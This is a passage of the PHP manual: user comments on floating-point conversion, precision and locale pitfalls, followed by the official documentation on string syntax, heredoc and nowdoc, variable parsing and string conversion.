   $float32 = pack("f", 5300231);
   $binarydata32 =unpack('H*',$float32); //"0EC0A14A"

   $float64 = pack("d", 5300231);
   $binarydata64 =unpack('H*',$float64); //"000000C001385441"
?>

And my example from half a year ago:
<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32); // 5300231

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64); // 5300231
?>

And please mind the Big and Little endian boys...
manasseh at smartcomputerinc.com 07-Mar-2011 04:35
I found that 00000000 hex was converting to 1.0 decimal. From the Wikipedia article on IEEE-754 floating point:

The true significand includes 23 fraction bits to the right of the binary point and an implicit leading bit (to the left of the binary point) with value 1 unless the exponent is stored with all zeros.

In hex2float32n, replace:

      $intnumber=bindec("1".$binint);

with

   if ($exp <> -127)
      { $intnumber=bindec("1".$binint); };

and then 00000000 works correctly without affecting "normal" numbers.
Julian L 09-Dec-2010 04:51
Convert a hex string into a 32-bit IEEE 754 float number.  This function is 2 times faster then the below hex to 32bit function.  This function only changes datatypes (string to int) once. Also, this function is a port from the hex to 64bit function from below.

<?php
function hexTo32Float($strHex) {
    $v = hexdec($strHex);
    $x = ($v & ((1 << 23) - 1)) + (1 << 23) * ($v >> 31 | 1);
    $exp = ($v >> 23 & 0xFF) - 127;
    return $x * pow(2, $exp - 23);
}
?>

<?php
//example
echo hexTo32Float("C4028000"); // outputs: -522
echo hexTo32Float("457F9000"); // outputs: 4089
echo hexTo32Float("2D7F5");    // outputs: 6.00804264307E-39
echo hexTo32Float("0002D7F5"); // outputs: 6.00804264307E-39
echo hexTo32Float("47D9F95E"); // outputs: 111602.734375
?>
zelko at mojeime dot com 05-Jun-2010 10:43
The was talk about "converting" 32 and 64 bit IEEE754 binary numbers to PHP float. The issue isn't as much converting, since they are already in binary form, as it is casting. PHP doesn't allow direct accessing of memory, but you can still get around a bit.

The right was to read floats (32 and 64 bit) is this:

<?php
    $binarydata32 = pack('H*','0EC0A14A');
    $float32 = unpack("f", $binarydata32);

    $binarydata64 = pack('H*','000000C001385441');
    $float64 = unpack("d", $binarydata64);

    var_dump($float32,$float64,$float32==$float64);
?>

The result of dump():
<?php
 array(1) {
  [1]=>
  float(5300231)
}
array(1) {
  [1]=>
  float(5300231)
}
bool(true)
?>

Note: mind the Big and Little endian boys
magicaltux at php dot net 02-Jun-2010 04:02
In some cases you may want to get the maximum value for a float without getting "INF".

var_dump(1.8e308); will usually show: float(INF)

I wrote a tiny function that will iterate in order to find the biggest non-infinite float value. It comes with a configurable multiplicator and affine values so you can share more CPU to get a more accurate estimate.

I haven't seen better values with more affine, but well, the possibility is here so if you really thing it's worth the cpu time, just try to affine more.

Best results seems to be with mul=2/affine=1. You can play with the values and see what you get. The good thing is this method will work on any system.

<?php
  function float_max($mul = 2, $affine = 1) {
    $max = 1; $omax = 0;
    while((string)$max != 'INF') { $omax = $max; $max *= $mul; }

    for($i = 0; $i < $affine; $i++) {
      $pmax = 1; $max = $omax;
      while((string)$max != 'INF') {
        $omax = $max;
        $max += $pmax;
        $pmax *= $mul;
      }
    }
    return $omax;
  }
?>
inforsci at gmail dot com 28-Apr-2010 08:48
convert 32bit HEX values into IEEE 754 floating point
<?php

$strHex = "C45F82ED";

$bin = str_pad(base_convert($strHex, 16, 2), 32, "0", STR_PAD_LEFT);
$sign = $bin[0];
$exp = bindec(substr($bin, 1, 8)) - 127;
$man = (2 << 22) + bindec(substr($bin, 9, 23));

$dec = $man * pow(2, $exp - 23) * ($sign ? -1 : 1);

echo "Answer = " . $dec . "<BR>\n";

?>
Anonymous 26-Apr-2010 08:48
Calculations involving float types become inaccurate when it deals with numbers with more than approximately 8 digits long where ever the decimal point is.  This is because of how 32bit floats are commonly stored in memory.  This means if you rely on float types while working with tiny fractions or large numbers, your calculations can end up between tiny fractions to several trillion off.

This usually won't matter when converting to binary memory storage form and editing many applications' float memory addresses directly, or dealing with smaller length numbers.  But if you're working with larger scale numbers and decimals, it's best to switch to working with other types: http://www.php.net/manual/en/refs.math.php
pgarvin76+phpmanual at gmail dot com 13-Jan-2010 04:36
When converting from float to string trailing zeros will be dropped. Consider the following example. Tested on PHP 5.3.1.

<?php
$a = 5.00500;
$b = 30.00;
echo "a = $a\n";
echo "b = $b\n";
/* outputs:
a = 5.005
b = 30
*/
?>
francois dot barbier at gmail dot com 13-Aug-2009 05:49
As "m dot lebkowski+php at gmail dot com" (http://www.php.net/language.types.float#81416) noted 9 comments below :

When PHP converts a float to a string, the decimal separator used depends on the current locale conventions.

However, to declare a floating point number, one must always use a full stop otherwhise the code would be locale dependent (imagine the nightmare):
<?php
$float = 1.5;           // float(1.5)
$float = 1,5;           // Parse error: syntax error, unexpected ','
$float = (float) '1.5'; // float(1.5)
$float = (float) '1,5'; // float(1)
?>

Now, if you have a string containing a localized number, you can convert it back to a floating point number using the following function:
<?php
/**
 * Convert a localized number string into a floating point number
 *
 * @param      string $sNumber The localized number string to convert.
 * @return     float The converted number.
 */
function str2num($sNumber)
{
    $aConventions = localeConv();
    $sNumber = trim((string) $sNumber);
    $bIsNegative = (0 === $aConventions['n_sign_posn'] && '(' === $sNumber{0} && ')' === $sNumber{strlen($sNumber) - 1});
    $sCharacters = $aConventions['decimal_point'].
                   $aConventions['mon_decimal_point'].
                   $aConventions['negative_sign'];
    $sNumber = preg_replace('/[^'.preg_quote($sCharacters).'\d]+/', '', trim((string) $sNumber));
    $iLength = strlen($sNumber);
    if (strlen($aConventions['decimal_point']))
    {
        $sNumber = str_replace($aConventions['decimal_point'], '.', $sNumber);
    }
    if (strlen($aConventions['mon_decimal_point']))
    {
        $sNumber = str_replace($aConventions['mon_decimal_point'], '.', $sNumber);
    }
    $sNegativeSign = $aConventions['negative_sign'];
    if (strlen($sNegativeSign) && 0 !== $aConventions['n_sign_posn'])
    {
        $bIsNegative = ($sNegativeSign === $sNumber{0} || $sNegativeSign === $sNumber{$iLength - 1});
        if ($bIsNegative)
        {
            $sNumber = str_replace($aConventions['negative_sign'], '', $sNumber);
        }
    }
    $fNumber = (float) $sNumber;
    if ($bIsNegative)
    {
        $fNumber = -$fNumber;
    }
    return $fNumber;
}
?>

Example:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$float = -123456.789;
$string = (string) $float;
var_dump($float);           // float(-123456,789)
var_dump($string);          // string(11) "-123456,789"
var_dump((float) $string);  // float(-123456)
var_dump(str2num($string)); // float(-123456,789)
?>

It also works with strings returned by the number_format() function:
<?php
setLocale(LC_ALL, 'fr_BE.UTF-8'); // decimal separator is now a comma
$conv = localeconv();
$float = -123456.789;
$string = $conv['int_curr_symbol'].number_format($float, $conv['frac_digits'], $conv['decimal_point'], $conv['thousands_sep']);
var_dump($float);           // float(-123456,789)
var_dump($string);          // string(15) "EUR -123.456,79"
var_dump((float) $string);  // float(0)
var_dump(str2num($string)); // float(-123456,79)
?>
rob at willo dot org 03-Jun-2009 06:18
PHP will parse ".123" with no leading digit; just a decimal point. For a command-line example:

php -r "echo 1 + .123;"

The regular expression provided above does not parse it.
My correction is:

EXPONENT_DNUM = "[+-]?({DNUM} | ({LNUM} | {DNUM}) [eE][+-]? {LNUM})"

NOTE: {LNUM} by itself is an integer, not a floating point.
Bob 08-May-2009 07:04
Here is a function to convert an exponential-format float to a decimal-format float; e.g. 1.6e+12 to 1600000000000.
It will help addressing the problem specified by kjohnson above.
I have tested it, but not in any real world situation so any feedback/improvements/bug-reports would be appreciated.
<?php
function exp_to_dec($float_str)
// formats a floating point number string in decimal notation, supports signed floats, also supports non-standard formatting e.g. 0.2e+2 for 20
// e.g. '1.6E+6' to '1600000', '-4.566e-12' to '-0.000000000004566', '+34e+10' to '340000000000'
// Author: Bob
{
    // make sure its a standard php float string (i.e. change 0.2e+2 to 20)
    // php will automatically format floats decimally if they are within a certain range
    $float_str = (string)((float)($float_str));

    // if there is an E in the float string
    if(($pos = strpos(strtolower($float_str), 'e')) !== false)
    {
        // get either side of the E, e.g. 1.6E+6 => exp E+6, num 1.6
        $exp = substr($float_str, $pos+1);
        $num = substr($float_str, 0, $pos);

        // strip off num sign, if there is one, and leave it off if its + (not required)
        if((($num_sign = $num[0]) === '+') || ($num_sign === '-')) $num = substr($num, 1);
        else $num_sign = '';
        if($num_sign === '+') $num_sign = '';

        // strip off exponential sign ('+' or '-' as in 'E+6') if there is one, otherwise throw error, e.g. E+6 => '+'
        if((($exp_sign = $exp[0]) === '+') || ($exp_sign === '-')) $exp = substr($exp, 1);
        else trigger_error("Could not convert exponential notation to decimal notation: invalid float string '$float_str'", E_USER_ERROR);

        // get the number of decimal places to the right of the decimal point (or 0 if there is no dec point), e.g., 1.6 => 1
        $right_dec_places = (($dec_pos = strpos($num, '.')) === false) ? 0 : strlen(substr($num, $dec_pos+1));
        // get the number of decimal places to the left of the decimal point (or the length of the entire num if there is no dec point), e.g. 1.6 => 1
        $left_dec_places = ($dec_pos === false) ? strlen($num) : strlen(substr($num, 0, $dec_pos));

        // work out number of zeros from exp, exp sign and dec places, e.g. exp 6, exp sign +, dec places 1 => num zeros 5
        if($exp_sign === '+') $num_zeros = $exp - $right_dec_places;
        else $num_zeros = $exp - $left_dec_places;

        // build a string with $num_zeros zeros, e.g. '0' 5 times => '00000'
        $zeros = str_pad('', $num_zeros, '0');

        // strip decimal from num, e.g. 1.6 => 16
        if($dec_pos !== false) $num = str_replace('.', '', $num);

        // if positive exponent, return like 1600000
        if($exp_sign === '+') return $num_sign.$num.$zeros;
        // if negative exponent, return like 0.0000016
        else return $num_sign.'0.'.$zeros.$num;
    }
    // otherwise, assume already in decimal notation and return
    else return $float_str;
}
?>
Bob 08-May-2009 05:34
In MySQL, many floating point number types can have a range specified using 2 values, the "precision" and the "scale" E.g. 'float(precision,scale)' for the datatype. This syntax means a number may be <precision> bits long, but may only have <scale> bits after the decimal point. E.g. a 'float(5,2)' field may have the values -999.99 to 999.99.
Here is a function to validate a PHP float using this syntax:
<?php
function validate_float($float, $precision, $scale)
{
    $max = (float)str_pad("", $precision-$scale, '9').'.'.str_pad("", $scale, '9');
    $min = (float)"-$max";

    if(($float < $min) || ($float > $max)) return false;
    else return true;
}
?>
info at forrest79 dot net 10-Feb-2009 09:55
My BIN to FLOAT (IEEE754), the first one doesn't work for me:

<?php
        function binToFloat($bin) {
            if(strlen($bin) > 32) {
                return false;
            } else if(strlen($bin) < 32) {
                $bin = str_repeat('0', (32 - strlen($bin))) . $bin;
            }

            $sign = 1;
            if(intval($bin[0]) == 1) {
                $sign = -1;
            }

            $binExponent = substr($bin, 1, 8);
            $exponent = -127;
            for($i = 0; $i < 8; $i++) {
                $exponent += (intval($binExponent[7 - $i]) * pow(2, $i));
            }

            $binBase = substr($bin, 9);
            $base = 1.0;
            for($x = 0; $x < 23; $x++) {
                $base += (intval($binBase[$x]) * pow(0.5, ($x + 1)));
            }

            $float = (float) $sign * pow(2, $exponent) * $base;

            return $float;
        }
?>
kjohnson at zootweb dot com 02-Jun-2008 09:23
PHP switches from the standard decimal notation to exponential notation for certain "special" floats. You can see a partial list of such "special" values with this:

<?php
for( $tmp = 0, $i = 0; $i < 100; $i++ ) {
    $tmp += 100000;
    echo round($tmp),"\n";
}
?>

So, if you add two floats, end up with a "special" value, e.g. 1.2E+6, then put that value unmodified into an update query to store the value in a decimal column, say, you will likely get a failed transaction, since the database will see "1.2E+6" as varchar data, not decimal. Likewise, you will likely get an XSD validation error if you put the value into xml.

I have to be honest: this is one of the strangest things I have seen in any language in over 20 years of coding, and it is a colossal pain to work around.
m dot lebkowski+php at gmail dot com 27-Feb-2008 10:18
Just another note about the locales. Consider the following code:

<?php
    // in polish locale decimal separator is ","
    setlocale(LC_ALL, "pl_PL");
    $a = 5/2;
    echo (float)(string)$a;
    /// prints "2", so the decimal part is dropped
?>

This causes very serious problems in my opinion. In some locale combination the typecasting can be destructive.
Maybe when locale decimal separator is ",", then (float)"2,5" should be recognized as "two and a half"?
Anyway - bare that in mind and be very careful when casting floats to strings and back.
helly at php dot net 22-Oct-2007 09:10
Floating point values have a limited precision. Hence a value might not have the same string representation after any processing. That also includes writing a floating point value in your script and directly printing it without any mathematical operations.

If you would like to know more about "floats" and what IEEE 754 is read this: http://docs.sun.com/source/806-3568/ncg_goldberg.html
Luzian 17-Nov-2005 09:03
Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this:

$x = 0.23;
$js = "var foo = doBar($x);";
print $js;

This would result in a different result for users with some locales. On most systems, this would print:

var foo = doBar(0.23);

but when for example a user from Germany arrives, it would be different:

var foo = doBar(0,23);

which is obviously a different call to the function. JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string.

So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it!
TRI0N 24-Sep-2005 04:01
Here is a simple formula to break down a number and get rid of the decimal values.  I built this to take a number in seconds and convert it to a readable value for Server Uptimes.

<?php
$day = floor(($uptime / 86400)*1.0) ;
$calc1 = $day * 86400 ;
$calc2 = $uptime - $calc1 ;
$hour = floor(($calc2 / 3600)*1.0) ;
if ($hour < 10) {
$hour = "0".$hour ;
}
$calc3 = $hour * 3600 ;
$calc4 = $calc2 - $calc3 ;
$min = floor(($calc4 / 60)*1.0) ;
if ($min < 10) {
$min = "0".$min ;
}
$calc5 = $min * 60 ;
$sec = floor(($calc4 - $calc5)*1.0) ;
if ($min < 10) {
$sec = "0".$sec ;
}
$uptime2 = $day." Days, ".$hour.":".$min.":".$sec ;
?>

Place this where you want the results to be seen:
<?php echo $uptime2 ; ?>

For a Value of 1455587 seconds the results will show as followed:
16 Days, 20:19:47

Enjoy
rick at ninjafoo dot com 06-Jul-2005 10:04
Concider the following:

(19.6*100) != 1960

echo gettype(19.6*100) returns 'double', However even .....

(19.6*100) !== (double)1960

19.6*100 cannot be compaired to anything without manually
casting it as something else first.

(string)(19.6*100) == 1960

Rule of thumb, if it has a decimal point, use the BCMath functions.
feline at NOSPAM dot penguin dot servehttp dot com 13-Aug-2004 03:36
General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later.
james dot cridland at virginradio dot co dot uk 28-Apr-2003 04:44
The 'floating point precision' box in practice means:

<? echo (69.1-floor(69.1)); ?>
Think this'll return 0.1?
It doesn't - it returns 0.099999999999994

<? echo round((69.1-floor(69.1))); ?>
This returns 0.1 and is the workaround we use.

Note that
<? echo (4.1-floor(4.1)); ?>
*does* return 0.1 - so if you, like us, test this with low numbers, you won't, like us, understand why all of a sudden your script stops working, until you spend a lot of time, like us, debugging it.

So, that's all lovely then.
dev at maintainfit dot com 15-Apr-2003 08:27
I was programming an accounting application in MySql that required me to sum a collection of floats and ensure that they equal zero before commiting a transaction, but as seen above a sum of floats cannot always be trusted (as was my case).  I kept getting a very small remainder (like 1.4512431231e-14).  Since I had used number_format(num,2) to set the precision of the numbers in the database to only two (2) decimal places, when the time comes to calculate the sum I simply multiply every number by ten (10), therby eliminating and decimal places and leaving me with integers to preform my sum.  This worked great.
backov at spotbrokers-nospamplz dot com 05-Mar-2003 10:16
I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane.

This test (where var_dump says that $a=0.1 and $b=0.1)

if ($a>=$b) echo "blah!";

Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there).

To fix, I had to do this horrible kludge (the equivelant of anyway):

if (round($a,3)>=round($b,3)) echo "blah!";

THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation?
www.sarioz.com 05-Feb-2003 07:49
just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333."

While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated.  0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result).  However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal.


Strings

A string is series of characters, where a character is the same as a byte. This means that PHP only supports a 256-character set, and hence does not offer native Unicode support. See details of the string type.

Note: string can be as large as up to 2GB (2147483647 bytes maximum)

Syntax

A string literal can be specified in four different ways:

  • single quoted
  • double quoted
  • heredoc syntax
  • nowdoc syntax (since PHP 5.3.0)

Single quoted

The simplest way to specify a string is to enclose it in single quotes (the character ').

To specify a literal single quote, escape it with a backslash (\). To specify a literal backslash, double it (\\). All other instances of backslash will be treated as a literal backslash: this means that the other escape sequences you might be used to, such as \r or \n, will be output literally as specified rather than having any special meaning.

Note: Unlike the double-quoted and heredoc syntaxes, variables and escape sequences for special characters will not be expanded when they occur in single quoted strings.

<?php
echo 'this is a simple string';

echo 'You can also have embedded newlines in
strings this way as it is
okay to do';

// Outputs: Arnold once said: "I'll be back"
echo 'Arnold once said: "I\'ll be back"';

// Outputs: You deleted C:\*.*?
echo 'You deleted C:\\*.*?';

// Outputs: You deleted C:\*.*?
echo 'You deleted C:\*.*?';

// Outputs: This will not expand: \n a newline
echo 'This will not expand: \n a newline';

// Outputs: Variables do not $expand $either
echo 'Variables do not $expand $either';
?>

Double quoted

If the string is enclosed in double-quotes ("), PHP will interpret more escape sequences for special characters:

Escaped characters
Sequence | Meaning
\n | linefeed (LF or 0x0A (10) in ASCII)
\r | carriage return (CR or 0x0D (13) in ASCII)
\t | horizontal tab (HT or 0x09 (9) in ASCII)
\v | vertical tab (VT or 0x0B (11) in ASCII) (since PHP 5.2.5)
\e | escape (ESC or 0x1B (27) in ASCII) (since PHP 5.4.0)
\f | form feed (FF or 0x0C (12) in ASCII) (since PHP 5.2.5)
\\ | backslash
\$ | dollar sign
\" | double-quote
\[0-7]{1,3} | the sequence of characters matching the regular expression is a character in octal notation
\x[0-9A-Fa-f]{1,2} | the sequence of characters matching the regular expression is a character in hexadecimal notation

As in single quoted strings, escaping any other character will result in the backslash being printed too. Before PHP 5.1.1, the backslash in \{$var} had not been printed.

The most important feature of double-quoted strings is the fact that variable names will be expanded. See string parsing for details.

Heredoc

A third way to delimit strings is the heredoc syntax: <<<. After this operator, an identifier is provided, then a newline. The string itself follows, and then the same identifier again to close the quotation.

The closing identifier must begin in the first column of the line. Also, the identifier must follow the same naming rules as any other label in PHP: it must contain only alphanumeric characters and underscores, and must start with a non-digit character or underscore.

Warning

It is very important to note that the line with the closing identifier must contain no other characters, except a semicolon (;). That means especially that the identifier may not be indented, and there may not be any spaces or tabs before or after the semicolon. It's also important to realize that the first character before the closing identifier must be a newline as defined by the local operating system. This is \n on UNIX systems, including Mac OS X. The closing delimiter must also be followed by a newline.

If this rule is broken and the closing identifier is not "clean", it will not be considered a closing identifier, and PHP will continue looking for one. If a proper closing identifier is not found before the end of the current file, a parse error will result at the last line.

Heredocs can not be used for initializing class properties. Since PHP 5.3, this limitation is valid only for heredocs containing variables.

Example #1 Invalid example

<?php
class foo {
    public $bar = <<<EOT
bar
    EOT;
}
?>

Heredoc text behaves just like a double-quoted string, without the double quotes. This means that quotes in a heredoc do not need to be escaped, but the escape codes listed above can still be used. Variables are expanded, but the same care must be taken when expressing complex variables inside a heredoc as with strings.

Example #2 Heredoc string quoting example

<?php
$str = <<<EOD
Example of string
spanning multiple lines
using heredoc syntax.
EOD;

/* More complex example, with variables. */
class foo
{
    var $foo;
    var $bar;

    function foo()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

The above example will output:

My name is "MyName". I am printing some Foo.
Now, I am printing some Bar2.
This should print a capital 'A': A

It is also possible to use the Heredoc syntax to pass data to function arguments:

Example #3 Heredoc in arguments example

<?php
var_dump(array(<<<EOD
foobar!
EOD
));
?>

As of PHP 5.3.0, it's possible to initialize static variables and class properties/constants using the Heredoc syntax:

Example #4 Using Heredoc to initialize static values

<?php
// Static variables
function foo()
{
    static $bar = <<<LABEL
Nothing in here...
LABEL;
}

// Class properties/constants
class foo
{
    const BAR = <<<FOOBAR
Constant example
FOOBAR;

    public $baz = <<<FOOBAR
Property example
FOOBAR;
}
?>

Starting with PHP 5.3.0, the opening Heredoc identifier may optionally be enclosed in double quotes:

Example #5 Using double quotes in Heredoc

<?php
echo <<<"FOOBAR"
Hello World!
FOOBAR;
?>

Nowdoc

Nowdocs are to single-quoted strings what heredocs are to double-quoted strings. A nowdoc is specified similarly to a heredoc, but no parsing is done inside a nowdoc. The construct is ideal for embedding PHP code or other large blocks of text without the need for escaping. It shares some features in common with the SGML <![CDATA[ ]]> construct, in that it declares a block of text which is not for parsing.

A nowdoc is identified with the same <<< sequence used for heredocs, but the identifier which follows is enclosed in single quotes, e.g. <<<'EOT'. All the rules for heredoc identifiers also apply to nowdoc identifiers, especially those regarding the appearance of the closing identifier.

Example #6 Nowdoc string quoting example

<?php
$str = <<<'EOD'
Example of string
spanning multiple lines
using nowdoc syntax.
EOD;

/* More complex example, with variables. */
class foo
{
    public $foo;
    public $bar;

    function foo()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<'EOT'
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41
EOT;
?>

The above example will output:

My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should not print a capital 'A': \x41

Note:

Unlike heredocs, nowdocs can be used in any static data context. The typical example is initializing class properties or constants:

Example #7 Static data example

<?php
class foo {
    public $bar = <<<'EOT'
bar
EOT;
}
?>

Note:

Nowdoc support was added in PHP 5.3.0.

Variable parsing

When a string is specified in double quotes or with heredoc, variables are parsed within it.

There are two types of syntax: a simple one and a complex one. The simple syntax is the most common and convenient. It provides a way to embed a variable, an array value, or an object property in a string with a minimum of effort.

The complex syntax can be recognised by the curly braces surrounding the expression.

Simple syntax

If a dollar sign ($) is encountered, the parser will greedily take as many tokens as possible to form a valid variable name. Enclose the variable name in curly braces to explicitly specify the end of the name.

<?php
$juice = "apple";

echo "He drank some $juice juice.".PHP_EOL;
// Invalid. "s" is a valid character for a variable name, but the variable is $juice.
echo "He drank some juice made of $juices.";
?>

The above example will output:

He drank some apple juice.
He drank some juice made of .

Similarly, an array index or an object property can be parsed. With array indices, the closing square bracket (]) marks the end of the index. The same rules apply to object properties as to simple variables.

Example #8 Simple syntax example

<?php
$juices = array("apple", "orange", "koolaid1" => "purple");

echo "He drank some $juices[0] juice.".PHP_EOL;
echo "He drank some $juices[1] juice.".PHP_EOL;
echo "He drank some $juices[koolaid1] juice.".PHP_EOL;

class people {
    public $john = "John Smith";
    public $jane = "Jane Smith";
    public $robert = "Robert Paulsen";

    public $smith = "Smith";
}

$people = new people();

echo "$people->john drank some $juices[0] juice.".PHP_EOL;
echo "$people->john then said hello to $people->jane.".PHP_EOL;
echo "$people->john's wife greeted $people->robert.".PHP_EOL;
echo "$people->robert greeted the two $people->smiths."; // Won't work
?>

The above example will output:

He drank some apple juice.
He drank some orange juice.
He drank some purple juice.
John Smith drank some apple juice.
John Smith then said hello to Jane Smith.
John Smith's wife greeted Robert Paulsen.
Robert Paulsen greeted the two .

For anything more complex, you should use the complex syntax.

Complex (curly) syntax

This isn't called complex because the syntax is complex, but because it allows for the use of complex expressions.

Any scalar variable, array element or object property with a string representation can be included via this syntax. Simply write the expression the same way as it would appear outside the string, and then wrap it in { and }. Since { can not be escaped, this syntax will only be recognised when the $ immediately follows the {. Use {\$ to get a literal {$. Some examples to make it clear:

<?php
// Show all errors
error_reporting(E_ALL);

$great = 'fantastic';

// Won't work, outputs: This is { fantastic}
echo "This is { $great}";

// Works, outputs: This is fantastic
echo "This is {$great}";
echo "This is ${great}";

// Works
echo "This square is {$square->width}00 centimeters broad.";

// Works, quoted keys only work using the curly brace syntax
echo "This works: {$arr['key']}";

// Works
echo "This works: {$arr[4][3]}";

// This is wrong for the same reason as $foo[bar] is wrong  outside a string.
// In other words, it will still work, but only because PHP first looks for a
// constant named foo; an error of level E_NOTICE (undefined constant) will be
// thrown.
echo "This is wrong: {$arr[foo][3]}";

// Works. When using multi-dimensional arrays, always use braces around arrays
// when inside of strings
echo "This works: {$arr['foo'][3]}";

// Works.
echo "This works: " . $arr['foo'][3];

echo "This works too: {$obj->values[3]->name}";

echo "This is the value of the var named $name: {${$name}}";

echo "This is the value of the var named by the return value of getName(): {${getName()}}";

echo "This is the value of the var named by the return value of \$object->getName(): {${$object->getName()}}";

// Won't work, outputs: This is the return value of getName(): {getName()}
echo "This is the return value of getName(): {getName()}";
?>

It is also possible to access class properties using variables within strings using this syntax.

<?php
class foo {
    var $bar = 'I am bar.';
}

$foo = new foo();
$bar = 'bar';
$baz = array('foo', 'bar', 'baz', 'quux');
echo "{$foo->$bar}\n";
echo "{$foo->$baz[1]}\n";
?>

The above example will output:

I am bar.
I am bar.

Note:

Functions, method calls, static class variables, and class constants inside {$} work since PHP 5. However, the value accessed will be interpreted as the name of a variable in the scope in which the string is defined. Using single curly braces ({}) will not work for accessing the return values of functions or methods or the values of class constants or static class variables.

<?php
// Show all errors.
error_reporting(E_ALL);

class beers {
    const softdrink = 'rootbeer';
    public static $ale = 'ipa';
}

$rootbeer = 'A & W';
$ipa = 'Alexander Keith\'s';

// This works; outputs: I'd like an A & W
echo "I'd like an {${beers::softdrink}}\n";

// This works too; outputs: I'd like an Alexander Keith's
echo "I'd like an {${beers::$ale}}\n";
?>

String access and modification by character

Characters within strings may be accessed and modified by specifying the zero-based offset of the desired character after the string using square array brackets, as in $str[42]. Think of a string as an array of characters for this purpose. The functions substr() and substr_replace() can be used when you want to extract or replace more than 1 character.

Note: Strings may also be accessed using braces, as in $str{42}, for the same purpose.

Warning

Writing to an out of range offset pads the string with spaces. Non-integer types are converted to integer. Illegal offset type emits E_NOTICE. Negative offset emits E_NOTICE in write but reads empty string. Only the first character of an assigned string is used. Assigning empty string assigns NULL byte.

Warning

Internally, PHP strings are byte arrays. As a result, accessing or modifying a string using array brackets is not multi-byte safe, and should only be done with strings that are in a single-byte encoding such as ISO-8859-1.

Example #9 Some string examples

<?php
// Get the first character of a string
$str = 'This is a test.';
$first = $str[0];

// Get the third character of a string
$third = $str[2];

// Get the last character of a string.
$str = 'This is still a test.';
$last = $str[strlen($str)-1];

// Modify the last character of a string
$str = 'Look at the sea';
$str[strlen($str)-1] = 'e';

?>

As of PHP 5.4 string offsets have to either be integers or integer-like strings, otherwise a warning will be thrown. Previously an offset like "foo" was silently cast to 0.

Example #10 Differences between PHP 5.3 and PHP 5.4

<?php
$str = 'abc';

var_dump($str['1']);
var_dump(isset($str['1']));

var_dump($str['1.0']);
var_dump(isset($str['1.0']));

var_dump($str['x']);
var_dump(isset($str['x']));

var_dump($str['1x']);
var_dump(isset($str['1x']));
?>

Output of the above example in PHP 5.3:

string(1) "b"
bool(true)
string(1) "b"
bool(true)
string(1) "a"
bool(true)
string(1) "b"
bool(true)

Output of the above example in PHP 5.4:

string(1) "b"
bool(true)

Warning: Illegal string offset '1.0' in /tmp/t.php on line 7
string(1) "b"
bool(false)

Warning: Illegal string offset 'x' in /tmp/t.php on line 9
string(1) "a"
bool(false)
string(1) "b"
bool(false)

Note:

Accessing variables of other types (not including arrays or objects implementing the appropriate interfaces) using [] or {} silently returns NULL.

Note:

PHP 5.5 added support for accessing characters within string literals using [] or {}.

Useful functions and operators

Strings may be concatenated using the '.' (dot) operator. Note that the '+' (addition) operator will not work for this. See String operators for more information.

There are a number of useful functions for string manipulation.

See the string functions section for general functions, and the regular expression functions or the Perl-compatible regular expression functions for advanced find & replace functionality.

There are also functions for URL strings, and functions to encrypt/decrypt strings (mcrypt and mhash).

Finally, see also the character type functions.

Converting to string

A value can be converted to a string using the (string) cast or the strval() function. String conversion is automatically done in the scope of an expression where a string is needed. This happens when using the echo or print functions, or when a variable is compared to a string. The sections on Types and Type Juggling will make the following clearer. See also the settype() function.

A boolean TRUE value is converted to the string "1". Boolean FALSE is converted to "" (the empty string). This allows conversion back and forth between boolean and string values.

An integer or float is converted to a string representing the number textually (including the exponent part for floats). Floating point numbers can be converted using exponential notation (4.1E+6).

Note:

The decimal point character is defined in the script's locale (category LC_NUMERIC). See the setlocale() function.

Arrays are always converted to the string "Array"; because of this, echo and print can not by themselves show the contents of an array. To view a single element, use a construction such as echo $arr['foo']. See below for tips on viewing the entire contents.

Objects in PHP 4 are always converted to the string "Object". To print the values of object properties for debugging reasons, read the paragraphs below. To get an object's class name, use the get_class() function. As of PHP 5, the __toString method is used when applicable.

Resources are always converted to strings with the structure "Resource id #1", where 1 is the resource number assigned to the resource by PHP at runtime. While the exact structure of this string should not be relied on and is subject to change, it will always be unique for a given resource within the lifetime of a script being executed (ie a Web request or CLI process) and won't be reused. To get a resource's type, use the get_resource_type() function.

NULL is always converted to an empty string.

